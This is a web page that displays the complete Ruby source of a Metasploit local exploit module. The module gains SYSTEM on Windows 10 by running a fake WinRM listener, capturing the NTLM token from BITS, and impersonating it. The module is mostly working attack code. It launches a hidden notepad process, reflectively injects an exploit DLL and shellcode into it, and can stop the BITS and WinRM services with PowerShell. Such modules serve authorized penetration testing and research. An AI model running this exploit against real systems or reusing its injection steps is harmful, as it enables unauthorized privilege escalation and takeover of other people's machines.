CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'msf/core/post/windows/reflective_dll_injection'
7
8
class MetasploitModule < Msf::Exploit::Local
9
Rank = GreatRanking
10
11
prepend Msf::Exploit::Remote::AutoCheck
12
include Msf::Post::File
13
include Msf::Post::Windows::Priv
14
include Msf::Post::Windows::Process
15
include Msf::Post::Windows::ReflectiveDLLInjection
16
17
# Those are integer codes for representing the services involved in this exploit.
18
BITS = 1
19
WINRM = 2
20
21
def initialize(info = {})
22
super(
23
update_info(
24
info,
25
{
26
'Name' => 'SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.',
27
'Description' => %q{
28
This module exploit BITS behavior which tries to connect to the
29
local Windows Remote Management server (WinRM) every times it
30
starts. The module launches a fake WinRM server which listen on
31
port 5985 and triggers BITS. When BITS starts, it tries to
32
authenticate to the Rogue WinRM server, which allows to steal a
33
SYSTEM token. This token is then used to launch a new process
34
as SYSTEM user. In the case of this exploit, notepad.exe is launched
35
as SYSTEM. Then, it write shellcode in its previous memory space
36
and trigger its execution. As this exploit uses reflective dll
37
injection, it does not write any file on the disk. See
38
/documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md
39
for complementary words of information.
40
41
Vulnerable operating systems are Windows 10 and Windows servers where WinRM is not running.
42
Lab experiments has shown that Windows 7 does not exhibit the vulnerable behavior.
43
44
WARNING:
45
46
- As this exploit runs a service on the target (Fake WinRM on port
47
5985), a firewall popup may appear on target screen. Thus, this exploit
48
may not be completely silent.
49
50
- This exploit has been successfully tested on :
51
Windows 10 (10.0 Build 19041) 32 bits
52
Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits
53
54
- This exploit failed because of no BITS authentication attempt on:
55
Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits
56
57
- Windows servers are not vulnerable because a genuine WinRM
58
service is already running, except if the user has disabled it
59
(Or if this exploit succeed to terminate it).
60
61
- SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are
62
required.
63
64
- BITS must not be running.
65
66
- This exploit automatically perform above quoted checks.
67
run "check" command to run checklist.
68
},
69
'License' => MSF_LICENSE,
70
'Author' => [
71
'Cassandre', # Adapted decoder's POC for metasploit
72
'Andrea Pierini (decoder)', # Lonely / Juicy Potato. Has written the POC
73
'Antonio Cocomazzi (splinter_code)',
74
'Roberto (0xea31)',
75
],
76
'Arch' => [ARCH_X86, ARCH_X64],
77
'Platform' => 'win',
78
'SessionTypes' => ['meterpreter'],
79
'DefaultOptions' => {
80
'EXITFUNC' => 'none',
81
'WfsDelay' => '120'
82
},
83
'Targets' => [
84
['Automatic', {}]
85
],
86
'Notes' => {
87
'Stability' => [CRASH_SAFE],
88
'SideEffects' => [SCREEN_EFFECTS],
89
'Reliability' => [REPEATABLE_SESSION]
90
},
91
'Payload' => {
92
'DisableNops' => true,
93
'BadChars' => "\x00"
94
},
95
'References' => [
96
['URL', 'https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/'],
97
['URL', 'https://github.com/antonioCoco/RogueWinRM'],
98
],
99
'DisclosureDate' => '2019-12-06',
100
'DefaultTarget' => 0,
101
'Compat' => {
102
'Meterpreter' => {
103
'Commands' => %w[
104
stdapi_sys_config_getenv
105
stdapi_sys_config_getprivs
106
stdapi_sys_config_sysinfo
107
stdapi_sys_process_attach
108
stdapi_sys_process_execute
109
stdapi_sys_process_thread_create
110
]
111
}
112
}
113
}
114
)
115
)
116
117
shutdown_service_option_description = [
118
'Should this module attempt to shutdown BITS and WinRM services if they are running?',
119
'Setting this parameter to true is useful only if SESSION is part of administrator group.',
120
'In the common usecase (running as LOCAL SERVICE) you don\'t have enough privileges.'
121
].join(' ')
122
123
winrm_port_option_description = [
124
'Port the exploit will listen on for BITS connexion.',
125
'As the principle of the exploit is to impersonate a genuine WinRM service,',
126
'it should listen on WinRM port. This is in most case 5985 but in some configuration,',
127
'it may be 47001.'
128
].join(' ')
129
130
host_process_option_description = [
131
'The process which will be launched as SYSTEM and execute metasploit shellcode.',
132
'This process is launched without graphical interface so it is hidden.'
133
].join(' ')
134
135
register_options(
136
[
137
OptBool.new('SHUTDOWN_SERVICES', [true, shutdown_service_option_description, false]),
138
OptPort.new('WINRM_RPORT', [true, winrm_port_option_description, 5985]),
139
OptString.new('HOST_PROCESS', [true, host_process_option_description, 'notepad.exe'])
140
]
141
)
142
end
143
144
#
145
# Function used to perform all mandatory checks in order to assess
146
# if the target is vulnerable before running the exploit.
147
# Basically, this function does the following:
148
# - Checks if current session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
149
# - Checks if operating system is neither Windows 7 nor Windows XP
150
# - Checks if BITS and WinRM are running, and attempt to terminate them if the user
151
# has specified the corresponding option
152
# - Checks if the session is not already SYSTEM
153
def check
154
privs = client.sys.config.getprivs
155
version = get_version_info
156
# Fast fails
157
if version.build_number < Msf::WindowsVersion::Win8 && !version.windows_server?
158
print_bad("Operating system: #{version.product_name}")
159
print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.')
160
return Exploit::CheckCode::Safe
161
end
162
163
unless privs.include?('SeImpersonatePrivilege') || privs.include?('SeAssignPrimaryTokenPrivilege')
164
print_bad('Target session is missing both SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege.')
165
return Exploit::CheckCode::Safe
166
end
167
vprint_good('Target session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.')
168
169
running_services_code = check_bits_and_winrm
170
if running_services_code < 0
171
return Exploit::CheckCode::Safe
172
end
173
174
should_services_be_shutdown = datastore['SHUTDOWN_SERVICES']
175
if running_services_code > 0
176
if should_services_be_shutdown
177
shutdown_service(running_services_code)
178
sleep(2)
179
running_services_code = check_bits_and_winrm
180
end
181
if [WINRM, WINRM + BITS].include?(running_services_code)
182
print_bad('WinRM is running. Target is not exploitable.')
183
return Exploit::CheckCode::Safe
184
elsif running_services_code == BITS
185
if should_services_be_shutdown
186
print_warning('Failed to shutdown BITS.')
187
end
188
print_warning('BITS is running. Don\'t panic, the exploit should handle this, but you have to wait for BITS to terminate.')
189
end
190
end
191
192
if is_system?
193
print_bad('Session is already elevated.')
194
return Exploit::CheckCode::Safe
195
end
196
197
vprint_good('Session is not (yet) System.')
198
Exploit::CheckCode::Appears
199
end
200
201
#
202
# This function is dedicated in checking if bits and WinRM are running.
203
# It returns the running services. If both services are down, it returns 0.
204
# If BITS is running, it returns 1 (Because BITS class constant = 1). If
205
# WinRM is running, it returns 2. And if both are running, it returns
206
# BITS + WINRM = 3.
207
def check_bits_and_winrm
208
result = cmd_exec('cmd.exe', '/c echo . | powershell.exe Get-Service -Name BITS,WinRM')
209
vprint_status('Checking if BITS and WinRM are stopped...')
210
211
if result.include?('~~')
212
print_bad('Failed to retrieve infos about WinRM and BITS. Access is denied.')
213
return -1
214
end
215
216
if result.include?('Stopped BITS') && result.include?('Stopped WinRM')
217
print_good('BITS and WinRM are stopped.')
218
return 0
219
end
220
221
if result.include?('Running BITS') && result.include?('Stopped WinRM')
222
print_warning('BITS is currently running. It must be down for the exploit to succeed.')
223
return BITS
224
end
225
226
if result.include?('Stopped BITS') && result.include?('Running WinRM')
227
print_warning('WinRM is currently running. It must be down for the exploit to succeed.')
228
return WINRM
229
end
230
231
if result.include?('Running BITS') && result.include?('Running WinRM')
232
print_warning('BITS and WinRM are currently running. They must be down for the exploit to succeed.')
233
return BITS + WINRM
234
end
235
end
236
237
#
238
# Attempt to shutdown services through powershell.
239
def shutdown_service(service_code)
240
stop_command_map = {
241
BITS => 'powershell.exe Stop-Service -Name BITS',
242
WINRM => 'powershell.exe Stop-Service -Name WinRM',
243
BITS + WINRM => 'powershell.exe Stop-Service -Name BITS,WinRM'
244
}
245
print_status('Attempting to shutdown service(s)...')
246
cmd_exec(stop_command_map[service_code])
247
end
248
249
def exploit
250
payload_name = datastore['PAYLOAD']
251
payload_arch = framework.payloads.create(payload_name).arch
252
winrm_port = datastore['WINRM_RPORT']
253
host_process_name = datastore['HOST_PROCESS']
254
255
if payload_arch.first == ARCH_X64
256
dll_file_name = 'drunkpotato.x64.dll'
257
vprint_status('Assigning payload drunkpotato.x64.dll')
258
elsif payload_arch.first == ARCH_X86
259
dll_file_name = 'drunkpotato.x86.dll'
260
vprint_status('Assigning payload drunkpotato.x86.dll')
261
else
262
fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign exploit code')
263
end
264
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'drunkpotato', dll_file_name)
265
library_path = ::File.expand_path(library_path)
266
267
print_status('Launching notepad to host the exploit...')
268
notepad_path = get_notepad_pathname(
269
payload_arch.first,
270
client.sys.config.getenv('windir'),
271
client.arch
272
)
273
notepad_process = client.sys.process.execute(notepad_path, nil, { 'Hidden' => true })
274
begin
275
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
276
print_good("Process #{process.pid} launched.")
277
rescue Rex::Post::Meterpreter::RequestError
278
# Reader Sandbox won't allow to create a new process:
279
# stdapi_sys_process_execute: Operation failed: Access is denied.
280
print_error('Operation failed. Trying to elevate the current process...')
281
process = client.sys.process.open
282
end
283
284
print_status("Injecting exploit into #{process.pid}...")
285
exploit_mem, offset = inject_dll_into_process(process, library_path)
286
287
print_status("Exploit injected. Injecting payload into #{process.pid}...")
288
formatted_payload = [
289
winrm_port.to_s,
290
host_process_name,
291
payload.encoded.length.to_s,
292
payload.encoded
293
].join("\x00")
294
payload_mem = inject_into_process(process, formatted_payload)
295
296
# invoke the exploit, passing in the address of the payload that
297
# we want invoked on successful exploitation.
298
print_status('Payload injected. Executing exploit...')
299
process.thread.create(exploit_mem + offset, payload_mem)
300
301
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
302
end
303
304
end
305
306